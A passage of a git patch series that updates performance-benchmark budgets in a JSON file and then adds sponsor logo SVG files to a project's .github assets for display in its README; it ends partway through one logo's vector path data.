-          "budgetMedian": 195,
-          "budgetP95": 235
+          "maxStallMs": 91.0,
+          "budgetMedian": 85,
+          "budgetP95": 115
         },
         "quick-open-result": {
-          "median": 142.4,
-          "p95": 150.1,
+          "median": 149.2,
+          "p95": 169.2,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 180,
-          "budgetP95": 190
+          "budgetMedian": 190,
+          "budgetP95": 215
         },
         "complete-from": {
-          "median": 103.3,
-          "p95": 109.9,
+          "median": 90.0,
+          "p95": 106.6,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 130,
-          "budgetP95": 140
+          "budgetMedian": 115,
+          "budgetP95": 135
         },
         "complete-schema": {
-          "median": 95.4,
-          "p95": 116.0,
+          "median": 112.0,
+          "p95": 128.2,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 120,
-          "budgetP95": 145
+          "budgetMedian": 140,
+          "budgetP95": 165
         }
       },
-      "memoryMB": 772.2
+      "footprintMB": 336.2,
+      "budgetFootprintMB": 425
     }
   }
 }

From 4ce97de0a68581ed6f9aa69837c91a8c40c59a92 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 16:08:44 +0700
Subject: [PATCH 20/44] docs(readme): show the sponsors' logos and link the
 sponsors page (#3871)

---
 .github/assets/sponsors/coderabbit.svg         | 17 +++++++++++++++++
 .github/assets/sponsors/dwarves-foundation.svg |  4 ++++
 .github/assets/sponsors/nimbus.svg             | 15 +++++++++++++++
 .github/assets/sponsors/pyto.svg               | 15 +++++++++++++++
 .github/assets/sponsors/simplelocalize.svg     |  4 ++++
 README.md                                      | 12 ++++++++++--
 6 files changed, 65 insertions(+), 2 deletions(-)
 create mode 100644 .github/assets/sponsors/coderabbit.svg
 create mode 100644 .github/assets/sponsors/dwarves-foundation.svg
 create mode 100644 .github/assets/sponsors/nimbus.svg
 create mode 100644 .github/assets/sponsors/pyto.svg
 create mode 100644 .github/assets/sponsors/simplelocalize.svg

diff --git a/.github/assets/sponsors/coderabbit.svg b/.github/assets/sponsors/coderabbit.svg
new file mode 100644
index 0000000000..9e7f8ebfa9
--- /dev/null
+++ b/.github/assets/sponsors/coderabbit.svg
@@ -0,0 +1,17 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="209" height="44" viewBox="0 0 209 44">
+<rect width="209" height="44" rx="6" fill="#ffffff"/>
+<svg x="8" y="8" width="193" height="28" viewBox="0 0 2152 313" fill="none">
+<path d="M470.612 107.186C479.309 91.1831 491.434 78.666 506.984 69.7255C522.537 60.785 540.195 56.3147 559.876 56.3147C584.032 56.3147 604.676 62.8412 621.898 75.8051C639.121 88.769 650.537 106.471 656.337 128.912H601.868C597.827 120.24 592.027 113.714 584.645 109.154C577.178 104.594 568.747 102.359 559.256 102.359C543.971 102.359 531.672 107.723 522.181 118.541C512.695 129.359 507.95 143.843 507.95 161.903C507.95 179.963 512.695 194.447 522.181 205.265C531.672 216.083 543.971 221.448 559.256 221.448C568.747 221.448 577.178 219.212 584.645 214.653C592.113 210.093 597.827 203.566 601.868 194.894H656.337C650.537 217.335 639.029 234.948 621.898 247.822C604.676 260.697 584.032 267.134 559.876 267.134C540.195 267.134 522.537 262.664 506.984 253.723C491.434 244.782 479.309 232.355 470.612 216.441C461.914 200.527 457.609 182.377 457.609 161.903C457.609 141.429 461.914 123.191 470.612 107.186Z" fill="#171717"/>
+<path d="M711.861 257.747C699.212 250.863 689.286 241.028 681.99 228.243C674.786 215.458 671.095 200.527 671.095 183.451C671.095 166.374 674.786 151.622 682.082 138.748C689.457 125.873 699.476 116.039 712.216 109.154C724.951 102.27 739.273 98.8726 755.085 98.8726C770.904 98.8726 785.22 102.27 797.96 109.154C810.701 116.039 820.713 125.873 828.095 138.748C835.477 151.622 839.076 166.553 839.076 183.451C839.076 200.349 835.385 215.279 827.917 228.153C820.449 241.028 810.345 250.863 797.519 257.747C784.693 264.631 770.376 268.029 754.472 268.029C738.568 268.029 724.423 264.631 711.775 257.747H711.861ZM778.807 213.849C785.483 206.785 788.825 196.683 788.825 183.451C788.825 170.219 785.575 160.205 779.162 153.053C772.657 145.989 764.754 142.413 755.263 142.413C745.772 142.413 737.605 145.9 731.192 152.873C724.779 159.847 721.615 170.039 721.615 183.361C721.615 196.683 724.779 206.696 731.014 213.759C737.25 220.822 745.159 224.399 754.65 224.399C764.135 224.399 772.222 220.822 778.807 213.759V213.849Z" fill="#171717"/>
+<path d="M859.284 138.572C865.519 125.787 874.134 115.953 884.937 109.068C895.746 102.184 907.781 98.7868 921.135 98.7868C931.767 98.7868 941.429 101.022 950.215 105.581C959.001 110.141 965.941 116.221 970.944 123.82V47.4675H1020.5V265.618H970.944V242.015C966.291 249.883 959.7 256.141 951.092 260.88C942.484 265.618 932.465 267.943 921.135 267.943C907.781 267.943 895.746 264.456 884.937 257.482C874.134 250.508 865.611 240.585 859.284 227.71C853.049 214.835 849.885 199.994 849.885 183.007C849.885 166.02 853.049 151.268 859.284 138.483V138.572ZM960.669 153.592C953.814 146.351 945.47 142.685 935.629 142.685C925.789 142.685 917.444 146.261 910.59 153.414C903.741 160.566 900.314 170.49 900.314 183.007C900.314 195.524 903.741 205.538 910.59 212.958C917.444 220.29 925.789 224.044 935.629 224.044C945.47 224.044 953.814 220.379 960.669 213.137C967.523 205.895 970.944 195.971 970.944 183.364C970.944 170.758 967.523 160.835 960.669 153.592Z" fill="#171717"/>
+<path d="M1202.18 195.52H1090.08C1090.87 205.712 1094.12 213.581 1099.74 218.945C1105.45 224.309 1112.48 227.081 1120.74 227.081C1133.13 227.081 1141.73 221.806 1146.57 211.167H1199.28C1196.56 221.985 1191.73 231.73 1184.61 240.313C1177.58 248.985 1168.71 255.78 1158.08 260.697C1147.45 265.615 1135.58 268.029 1122.41 268.029C1106.6 268.029 1092.45 264.631 1080.15 257.747C1067.76 250.863 1058.1 241.028 1051.16 228.243C1044.22 215.458 1040.7 200.527 1040.7 183.451C1040.7 166.374 1044.13 151.443 1050.98 138.658C1057.84 125.873 1067.41 116.039 1079.8 109.154C1092.19 102.27 1106.33 98.8726 1122.41 98.8726C1138.48 98.8726 1151.93 102.18 1164.14 108.886C1176.26 115.592 1185.84 125.069 1192.69 137.496C1199.54 149.834 1202.97 164.318 1202.97 180.858C1202.97 185.597 1202.71 190.514 1202.09 195.61L1202.18 195.52ZM1152.37 167.536C1152.37 158.864 1149.47 151.98 1143.67 146.883C1137.87 141.787 1130.67 139.194 1121.97 139.194C1113.27 139.194 1106.68 141.609 1100.97 146.526C1095.26 151.443 1091.75 158.417 1090.43 167.447H1152.46L1152.37 167.536Z" fill="#171717"/>
+<path d="M1329.92 265.699L1287.67 187.558H1275.8V265.699H1226.25V58.7244H1309.37C1325.44 58.7244 1339.06 61.5853 1350.4 67.307C1361.73 73.0294 1370.16 80.8074 1375.78 90.7318C1381.41 100.656 1384.22 111.742 1384.22 123.901C1384.22 137.67 1380.44 149.919 1372.8 160.737C1365.15 171.555 1353.91 179.244 1339.06 183.714L1385.97 265.699H1330.01H1329.92ZM1275.72 151.885H1306.47C1315.51 151.885 1322.37 149.65 1326.85 145.091C1331.42 140.531 1333.7 134.183 1333.7 125.957C1333.7 117.732 1331.42 111.921 1326.85 107.361C1322.28 102.801 1315.51 100.566 1306.47 100.566H1275.72V151.885Z" fill="#171717"/>
+<path d="M1408.9 138.562C1415.15 125.777 1423.75 115.942 1434.56 109.058C1445.37 102.174 1457.49 99.7595 1470.76 99.7595H1570.12V265.608H1520.57V242.362C1515.74 250.051 1509.06 256.22 1500.45 260.959C1491.84 265.697 1481.83 268.022 1470.49 268.022C1457.32 268.022 1445.37 264.535 1434.56 257.561C1423.75 250.588 1415.23 240.664 1408.9 227.789C1402.67 214.914 1399.51 200.073 1399.51 183.086C1399.51 166.099 1402.67 151.347 1408.9 138.562ZM1510.29 153.582C1503.44 146.34 1495.09 142.675 1485.26 142.675C1475.42 142.675 1467.06 146.251 1460.22 153.403C1453.36 160.556 1449.93 170.48 1449.93 182.997C1449.93 195.514 1453.36 205.527 1460.22 212.948C1467.06 220.279 1475.42 224.034 1485.26 224.034C1495.09 224.034 1503.44 220.369 1510.29 213.126C1517.14 205.884 1520.57 195.961 1520.57 183.354C1520.57 170.748 1517.14 160.824 1510.29 153.582Z" fill="#171717"/>
+<path d="M1669.83 105.85C1678.53 101.111 1688.46 98.7868 1699.7 98.7868C1713.06 98.7868 1725.09 102.184 1735.9 109.068C1746.71 115.953 1755.23 125.787 1761.56 138.572C1767.79 151.358 1770.96 166.198 1770.96 183.096C1770.96 199.994 1767.79 214.925 1761.56 227.799C1755.32 240.674 1746.71 250.598 1735.9 257.572C1725.09 264.545 1713.06 268.032 1699.7 268.032C1688.28 268.032 1678.36 265.708 1669.83 261.148C1661.31 256.499 1654.63 250.419 1649.8 242.73V265.708H1600.25V47.4675H1649.8V124.446C1654.46 116.757 1661.14 110.588 1669.83 105.85ZM1710.25 153.503C1703.4 146.351 1694.96 142.774 1684.86 142.774C1674.76 142.774 1666.67 146.44 1659.82 153.682C1652.97 160.924 1649.54 170.848 1649.54 183.454C1649.54 196.06 1652.97 205.984 1659.82 213.226C1666.67 220.468 1675.02 224.134 1684.86 224.134C1694.7 224.134 1703.13 220.468 1710.07 213.047C1717.01 205.716 1720.53 195.703 1720.53 183.096C1720.53 170.49 1717.1 160.655 1710.25 153.503Z" fill="#171717"/>
+<path d="M1860.75 105.85C1869.45 101.111 1879.38 98.7868 1890.62 98.7868C1903.98 98.7868 1916.01 102.184 1926.82 109.068C1937.62 115.953 1946.15 125.787 1952.47 138.572C1958.71 151.358 1961.87 166.198 1961.87 183.096C1961.87 199.994 1958.71 214.925 1952.47 227.799C1946.23 240.674 1937.62 250.598 1926.82 257.572C1916.01 264.545 1903.98 268.032 1890.62 268.032C1879.2 268.032 1869.27 265.708 1860.75 261.148C1852.23 256.499 1845.55 250.419 1840.72 242.73V265.708H1791.17V47.4675H1840.72V124.446C1845.37 116.757 1852.05 110.588 1860.75 105.85ZM1901.16 153.503C1894.31 146.351 1885.88 142.774 1875.77 142.774C1865.67 142.774 1857.59 146.44 1850.73 153.682C1843.89 160.924 1840.46 170.848 1840.46 183.454C1840.46 196.06 1843.89 205.984 1850.73 213.226C1857.59 220.468 1865.93 224.134 1875.77 224.134C1885.61 224.134 1894.05 220.468 1900.99 213.047C1907.93 205.716 1911.44 195.703 1911.44 183.096C1911.44 170.49 1908.02 160.655 1901.16 153.503Z" fill="#171717"/>
+<path d="M1985.77 76.2514C1980.23 71.0655 1977.51 64.6286 1977.51 56.9396C1977.51 49.2507 1980.23 42.545 1985.77 37.3597C1991.3 32.1737 1998.33 29.5811 2007.02 29.5811C2015.72 29.5811 2022.49 32.1737 2028.02 37.3597C2033.56 42.545 2036.28 49.0714 2036.28 56.9396C2036.28 64.8073 2033.56 71.0655 2028.02 76.2514C2022.49 81.4368 2015.54 84.0294 2007.02 84.0294C1998.5 84.0294 1991.21 81.4368 1985.77 76.2514ZM2031.71 101.195V265.702H1982.16V101.106H2031.71V101.195Z" fill="#171717"/>
+<path d="M2151.9 222.875V265.611H2126.68C2108.76 265.611 2094.71 261.14 2084.69 252.2C2074.67 243.259 2069.67 228.686 2069.67 208.391V142.946H2049.99V101.104H2069.67V61.05H2119.22V101.104H2151.64V142.946H2119.22V209.017C2119.22 213.934 2120.36 217.511 2122.74 219.656C2125.02 221.802 2128.89 222.875 2134.33 222.875H2151.99H2151.9Z" fill="#171717"/>
+<path d="M156.513 313C242.945 313 313.013 242.933 313.013 156.5C313.013 70.0674 242.945 0 156.513 0C70.0801 0 0.0126953 70.0674 0.0126953 156.5C0.0126953 242.933 70.0801 313 156.513 313Z" fill="#171717"/>
+<path d="M262.786 130.577C262.786 130.577 240.981 102.703 213.571 101.109C195.883 100.065 191.598 102.428 190.83 104.188C189.732 95.0622 181.932 52.7825 128.046 43.8223C134.925 93.2713 163.334 80.3866 180.065 114.469C180.065 114.469 151.832 76.0941 105.416 90.2232C105.416 90.2232 122.334 125.74 172.374 132.997C172.374 132.997 176.384 146.741 177.593 149.161C177.593 149.161 100.527 108.971 77.1269 186.106C59.7121 182.161 53.8708 201.066 73.8868 213.98C73.8868 213.98 77.2926 200.455 85.5858 196.442C85.5858 196.442 67.7888 216.29 88.7167 240.061H163.831C165.646 237.054 173.679 221.236 153.812 209.263C167.836 209.062 179.251 235.515 191.532 240.243H209.395C209.999 238.774 211.263 234.376 208.295 230.419C203.721 225.172 193.706 225.882 193.795 216.179C197.254 171.04 264.938 184.902 262.786 130.577Z" fill="#FEFEFE"/>
+</svg>
+</svg>
diff --git a/.github/assets/sponsors/dwarves-foundation.svg b/.github/assets/sponsors/dwarves-foundation.svg
new file mode 100644
index 0000000000..9c93ee259d
--- /dev/null
+++ b/.github/assets/sponsors/dwarves-foundation.svg
@@ -0,0 +1,4 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="44" height="44" viewBox="0 0 44 44">
+<rect width="44" height="44" rx="6" fill="#ffffff"/>
+<image x="8" y="8" width="28" height="28" href="data:image/png;base64,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"/>
+</svg>
diff --git a/.github/assets/sponsors/nimbus.svg b/.github/assets/sponsors/nimbus.svg
new file mode 100644
index 0000000000..f16fc82d7c
--- /dev/null
+++ b/.github/assets/sponsors/nimbus.svg
@@ -0,0 +1,15 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="88" height="44" viewBox="0 0 88 44">
+<rect width="88" height="44" rx="6" fill="#ffffff"/>
+<svg x="8" y="8" width="72" height="28" viewBox="52 39 430 168" fill="none">
+<path d="M230.91 153.2L199.06 105.13V153.2H190.9V94.23H201.8L231.25 139.48V94.23H239.4V153.2H230.91Z" fill="currentColor"/>
+<path d="M259.02 92.4C262.18 92.4 264.67 94.9 264.67 98.06C264.67 101.14 262.18 103.63 259.02 103.63C255.94 103.63 253.45 101.13 253.45 98.06C253.45 94.9 255.94 92.4 259.02 92.4ZM255.2 113.2H262.93V153.21H255.2V113.2Z" fill="currentColor"/>
+<path d="M277.9 153.2V113.2H285.39V118.52C287.88 114.11 292.87 112.03 297.53 112.03C302.52 112.03 307.35 114.44 309.51 119.6C312.67 113.86 317.83 112.03 322.9 112.03C329.89 112.03 336.71 116.77 336.71 127.25V153.2H328.97V128.08C328.97 122.84 326.39 118.93 320.49 118.93C315 118.93 311.26 123.25 311.26 128.99V153.19H303.44V128.07C303.44 122.91 300.94 118.92 294.96 118.92C289.39 118.92 285.64 123.08 285.64 129.07V153.19H277.9V153.2Z" fill="currentColor"/>
+<path d="M350.84 153.2V92.98H358.57V118.85C360.48 115.27 365.14 112.03 371.79 112.03C383.93 112.03 390.17 121.35 390.17 132.99C390.17 144.89 383.43 154.28 371.54 154.28C365.64 154.28 361.06 151.7 358.57 147.38V153.2H350.84ZM370.39 118.94C363.49 118.94 358.5 124.34 358.5 132.99C358.5 141.64 363.49 147.3 370.39 147.3C377.54 147.3 382.2 141.64 382.2 132.99C382.2 124.34 377.62 118.94 370.39 118.94Z" fill="currentColor"/>
+<path d="M415.96 154.45C406.64 154.45 400.99 147.46 400.99 138.4V113.2H408.81V137.23C408.81 142.72 411.31 147.55 417.88 147.55C424.2 147.55 427.36 143.39 427.36 137.32V113.2H435.18V145.8C435.18 148.96 435.43 151.79 435.6 153.2H428.11C427.94 152.29 427.78 150.04 427.78 148.38C425.61 152.54 420.62 154.45 415.96 154.45Z" fill="currentColor"/>
+<path d="M453.47 140.31C453.97 144.47 457.13 147.8 462.78 147.8C467.19 147.8 469.6 145.3 469.6 142.48C469.6 139.98 467.77 138.07 464.44 137.32L457.62 135.82C451.38 134.49 447.64 130.25 447.64 124.59C447.64 117.77 454.05 111.95 461.86 111.95C472.84 111.95 476.25 119.1 477.08 122.68L470.18 125.26C469.85 123.18 468.18 118.61 461.86 118.61C457.87 118.61 455.21 121.19 455.21 123.93C455.21 126.34 456.71 128.09 459.79 128.76L466.28 130.17C473.52 131.75 477.34 136.16 477.34 142.07C477.34 147.73 472.6 154.46 462.7 154.46C451.72 154.46 447.06 147.39 446.4 142.81L453.47 140.31Z" fill="currentColor"/>
+<path d="M135.71 101.06H90.93V107.46H135.71V101.06Z" fill="currentColor"/>
+<path d="M81.33 94.6699C81.33 87.5999 87.06 81.8799 94.12 81.8799C101.19 81.8799 106.91 87.6099 106.91 94.6699H113.31C113.31 87.7999 109.69 81.7799 104.25 78.3899C105.77 73.0299 110.65 69.0699 116.5 69.0699C123.57 69.0699 129.3 74.7999 129.3 81.8699V85.0699H135.69C140.99 85.0699 145.29 89.3699 145.29 94.6699H151.69C151.69 85.8399 144.53 78.6799 135.69 78.6799C135.59 78.6799 135.51 78.6999 135.41 78.7099C133.89 69.6199 126.02 62.6899 116.5 62.6899C107.98 62.6899 100.76 68.2499 98.25 75.9499C96.92 75.6599 95.53 75.4899 94.11 75.4899C83.51 75.4899 74.92 84.0799 74.92 94.6799H81.33V94.6699Z" fill="currentColor"/>
+<path d="M113.32 136.25V107.46H110.12L87.73 155.44H113.32V184.23H116.52L138.92 136.25H113.32ZM97.77 149.05L106.92 129.45V142.66H128.87L119.72 162.26V149.05H97.77Z" fill="currentColor"/>
+<path d="M55.74 203.43H170.9V43.4299H55.74V203.43ZM62.13 49.8299H164.5V197.03H62.13V49.8299Z" fill="currentColor"/>
+</svg>
+</svg>
diff --git a/.github/assets/sponsors/pyto.svg b/.github/assets/sponsors/pyto.svg
new file mode 100644
index 0000000000..4a41bfed18
--- /dev/null
+++ b/.github/assets/sponsors/pyto.svg
@@ -0,0 +1,15 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="111" height="44" viewBox="0 0 111 44">
+<rect width="111" height="44" rx="6" fill="#ffffff"/>
+<svg x="8" y="8" width="95" height="28" viewBox="0 0 146 43" fill="none">
+<g clip-path="url(#clip0_17301_238)">
+<path d="M57.9266 35.1677V8.76611H67.8273C69.8554 8.76611 71.5571 9.14422 72.9323 9.90056C74.3159 10.6568 75.3601 11.6967 76.0648 13.0203C76.7782 14.3352 77.1348 15.8305 77.1348 17.5065C77.1348 19.1995 76.7782 20.7036 76.0648 22.0185C75.3515 23.3334 74.2987 24.3691 72.9064 25.1253C71.5142 25.873 69.7996 26.2469 67.7627 26.2469H61.201V22.315H67.1182C68.3042 22.315 69.2754 22.1087 70.0316 21.6962C70.7879 21.2837 71.3465 20.7165 71.7075 19.9945C72.0771 19.2726 72.2618 18.4433 72.2618 17.5065C72.2618 16.5697 72.0771 15.7447 71.7075 15.0313C71.3465 14.318 70.7836 13.7637 70.0188 13.3683C69.2625 12.9644 68.2871 12.7624 67.0924 12.7624H62.7093V35.1677H57.9266ZM83.9834 42.5933C83.3474 42.5933 82.7587 42.5416 82.2173 42.4385C81.6844 42.344 81.259 42.2323 80.941 42.1033L82.0239 38.468C82.7028 38.6656 83.3087 38.7602 83.8416 38.7516C84.3744 38.7429 84.8428 38.5754 85.2468 38.2488C85.6593 37.9308 86.0073 37.3979 86.2909 36.6502L86.6906 35.5802L79.51 15.3665H84.4604L89.0239 30.3206H89.2302L93.8066 15.3665H98.7698L90.8417 37.5655C90.4721 38.6141 89.9822 39.5121 89.372 40.2598C88.7619 41.0162 88.0142 41.592 87.129 41.9874C86.2523 42.3912 85.2038 42.5933 83.9834 42.5933ZM111.887 15.3665V18.9761H100.504V15.3665H111.887ZM103.314 10.6224H107.981V29.2119C107.981 29.8392 108.075 30.3206 108.264 30.6557C108.462 30.9823 108.72 31.2058 109.038 31.3261C109.356 31.4464 109.708 31.5065 110.095 31.5065C110.387 31.5065 110.654 31.4851 110.894 31.4421C111.143 31.3991 111.333 31.3604 111.461 31.3261L112.248 34.9743C111.999 35.0603 111.642 35.1548 111.178 35.2579C110.722 35.3612 110.164 35.4213 109.502 35.4384C108.333 35.4728 107.28 35.2966 106.344 34.9099C105.407 34.5145 104.663 33.9044 104.113 33.0793C103.572 32.2543 103.305 31.2229 103.314 29.9854V10.6224ZM124.214 35.5546C122.28 35.5546 120.605 35.1292 119.187 34.2783C117.769 33.4275 116.668 32.2372 115.886 30.7074C115.113 29.1776 114.726 27.39 114.726 25.3446C114.726 23.2992 115.113 21.5072 115.886 19.9689C116.668 18.4305 117.769 17.2359 119.187 16.3851C120.605 15.5342 122.28 15.1088 124.214 15.1088C126.148 15.1088 127.824 15.5342 129.242 16.3851C130.66 17.2359 131.756 18.4305 132.529 19.9689C133.312 21.5072 133.703 23.2992 133.703 25.3446C133.703 27.39 133.312 29.1776 132.529 30.7074C131.756 32.2372 130.66 33.4275 129.242 34.2783C127.824 35.1292 126.148 35.5546 124.214 35.5546ZM124.241 31.8161C125.289 31.8161 126.166 31.5282 126.87 30.9524C127.575 30.3679 128.099 29.5858 128.443 28.6061C128.795 27.6264 128.971 26.5349 128.971 25.3316C128.971 24.1199 128.795 23.0242 128.443 22.0444C128.099 21.056 127.575 20.2696 126.87 19.6853C126.166 19.1008 125.289 18.8086 124.241 18.8086C123.166 18.8086 122.272 19.1008 121.559 19.6853C120.854 20.2696 120.326 21.056 119.973 22.0444C119.629 23.0242 119.458 24.1199 119.458 25.3316C119.458 26.5349 119.629 27.6264 119.973 28.6061C120.326 29.5858 120.854 30.3679 121.559 30.9524C122.272 31.5282 123.166 31.8161 124.241 31.8161Z" fill="black"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M29.2636 24.7213L29.6769 24.6747C33.803 24.1956 37.8014 23.7316 41.6075 21.536C39.8908 20.2293 38.0074 19.7488 36.1013 19.2653C35.7751 19.1832 35.4495 19.0991 35.1243 19.013L35.3107 18.1119V18.1059L35.8728 15.3696C38.7018 15.9854 41.4226 16.6251 43.6727 18.3987C45.8824 20.1347 45.9831 22.7465 43.7479 24.4389C42.4552 25.4031 40.91 26.136 39.3587 26.648C35.1018 28.0807 30.6419 28.4652 26.1731 28.6934C25.3177 28.7445 24.6293 28.4202 24.2085 27.6572C23.7619 26.8522 23.9754 26.1074 24.4293 25.3625C26.9968 21.2522 29.2335 16.9525 30.7968 12.3555C31.2988 10.8387 31.6475 9.27093 31.9933 7.7105L32.0594 7.41157C32.1525 6.96403 32.1541 6.49551 32.1541 5.96844C32.1541 5.71455 32.1541 5.44728 32.1661 5.16185C31.9858 5.24455 31.8218 5.3091 31.6731 5.36764C31.3875 5.48029 31.153 5.57343 30.9666 5.73259C29.7198 6.75863 28.5076 7.82598 27.3319 8.93286C26.8901 9.34887 26.6345 9.39549 26.197 8.9855C25.6665 8.47046 25.1148 7.97925 24.4865 7.42212L23.9138 6.91151C24.2896 6.55563 24.6578 6.19363 25.0216 5.83628C25.8243 5.04625 26.6135 4.26836 27.4793 3.58951C28.5224 2.78757 29.6784 2.03974 30.9155 1.60718C33.3431 0.769162 35.3829 2.14184 35.8083 4.68584C36.2141 7.16381 35.6323 9.52618 34.9305 11.8584C33.7249 15.9267 31.9437 19.7639 29.9054 23.4688C29.8152 23.6534 29.722 23.8292 29.6243 24.0154C29.5145 24.2287 29.3958 